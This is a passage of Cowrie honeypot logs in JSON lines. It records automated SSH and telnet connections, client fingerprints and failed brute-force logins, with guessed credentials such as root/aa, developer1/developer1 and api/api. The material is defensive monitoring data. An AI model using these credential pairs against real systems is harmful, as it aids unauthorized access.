-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:33.288264Z","src_ip":"45.153.34.97","session":"62f63e2732a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa","message":"login attempt [root/aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:33.685114Z","src_ip":"45.153.34.97","session":"62f63e2732a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:34.776572Z","src_ip":"45.153.34.97","session":"62f63e2732a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":43496,"dst_ip":"10.17.0.5","dst_port":22,"session":"053f4446bbeb","protocol":"ssh","message":"New connection: 43.153.36.83:43496 (10.17.0.5:22) [session: 053f4446bbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.137870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.142751Z","src_ip":"43.153.36.83","session":"053f4446bbeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.214339Z","src_ip":"43.153.36.83","session":"053f4446bbeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c0f944867c","protocol":"ssh","message":"New connection: 45.153.34.97:19520 (10.17.0.5:22) [session: c0c0f944867c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.221368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.226314Z","src_ip":"45.153.34.97","session":"c0c0f944867c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.308969Z","src_ip":"45.153.34.97","session":"c0c0f944867c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahti","message":"login attempt [root/ahti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.516860Z","src_ip":"43.153.36.83","session":"053f4446bbeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00145864486694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.711797Z","src_ip":"152.42.224.71","session":"816c42e40b7f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer1","password":"developer1","message":"login attempt [developer1/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:37.790896Z","src_ip":"45.153.34.97","session":"c0c0f944867c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:38.587222Z","src_ip":"43.153.36.83","session":"053f4446bbeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:38.876408Z","src_ip":"45.153.34.97","session":"c0c0f944867c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":60136,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cecd197343c","protocol":"ssh","message":"New connection: 45.153.34.97:60136 (10.17.0.5:22) [session: 9cecd197343c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:41.682672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:41.694503Z","src_ip":"45.153.34.97","session":"9cecd197343c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:41.785202Z","src_ip":"45.153.34.97","session":"9cecd197343c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090786","message":"login attempt [root/090786] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:42.112535Z","src_ip":"45.153.34.97","session":"9cecd197343c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:43.294240Z","src_ip":"45.153.34.97","session":"9cecd197343c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.76563501358032,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:43.583816Z","src_ip":"152.42.224.71","session":"b73fb676ea97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":60144,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6fe337d4502","protocol":"ssh","message":"New connection: 45.153.34.97:60144 (10.17.0.5:22) [session: e6fe337d4502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:46.080247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:46.087671Z","src_ip":"45.153.34.97","session":"e6fe337d4502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:46.196025Z","src_ip":"45.153.34.97","session":"e6fe337d4502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin123","message":"login attempt [ftpadmin/ftpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:46.586801Z","src_ip":"45.153.34.97","session":"e6fe337d4502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:47.694471Z","src_ip":"45.153.34.97","session":"e6fe337d4502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":48082,"dst_ip":"10.17.0.5","dst_port":22,"session":"aae720a41762","protocol":"ssh","message":"New connection: 192.169.250.238:48082 (10.17.0.5:22) [session: aae720a41762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:47.844767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:47.849594Z","src_ip":"192.169.250.238","session":"aae720a41762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:47.921368Z","src_ip":"192.169.250.238","session":"aae720a41762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"innova","message":"login attempt [root/innova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:48.241229Z","src_ip":"192.169.250.238","session":"aae720a41762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:49.316586Z","src_ip":"192.169.250.238","session":"aae720a41762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":61872,"dst_ip":"10.17.0.5","dst_port":22,"session":"786dd8fa288a","protocol":"ssh","message":"New connection: 45.153.34.97:61872 (10.17.0.5:22) [session: 786dd8fa288a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:50.469360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:50.606286Z","src_ip":"45.153.34.97","session":"786dd8fa288a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:50.610158Z","src_ip":"45.153.34.97","session":"786dd8fa288a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"api","password":"api","message":"login attempt [api/api] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:51.484344Z","src_ip":"45.153.34.97","session":"786dd8fa288a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53470,"dst_ip":"10.17.0.5","dst_port":23,"session":"318086109dd7","protocol":"telnet","message":"New connection: 152.42.224.71:53470 (10.17.0.5:23) [session: 318086109dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:51.924421Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:52.616205Z","src_ip":"45.153.34.97","session":"786dd8fa288a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":61888,"dst_ip":"10.17.0.5","dst_port":22,"session":"992b9920cf25","protocol":"ssh","message":"New connection: 45.153.34.97:61888 (10.17.0.5:22) [session: 992b9920cf25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:54.984944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:54.992473Z","src_ip":"45.153.34.97","session":"992b9920cf25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:55.086456Z","src_ip":"45.153.34.97","session":"992b9920cf25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123","message":"login attempt [a/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:55.484734Z","src_ip":"45.153.34.97","session":"992b9920cf25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53482,"dst_ip":"10.17.0.5","dst_port":23,"session":"835e53a72047","protocol":"telnet","message":"New connection: 152.42.224.71:53482 (10.17.0.5:23) [session: 835e53a72047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:55.732189Z"}
{"eventid":"cowrie.session.closed","duration":120.00134873390198,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:56.552000Z","src_ip":"152.42.224.71","session":"742db71f2bcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:56.581455Z","src_ip":"45.153.34.97","session":"992b9920cf25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":61896,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c2da32c4c84","protocol":"ssh","message":"New connection: 45.153.34.97:61896 (10.17.0.5:22) [session: 7c2da32c4c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:59.387853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:59.488864Z","src_ip":"45.153.34.97","session":"7c2da32c4c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 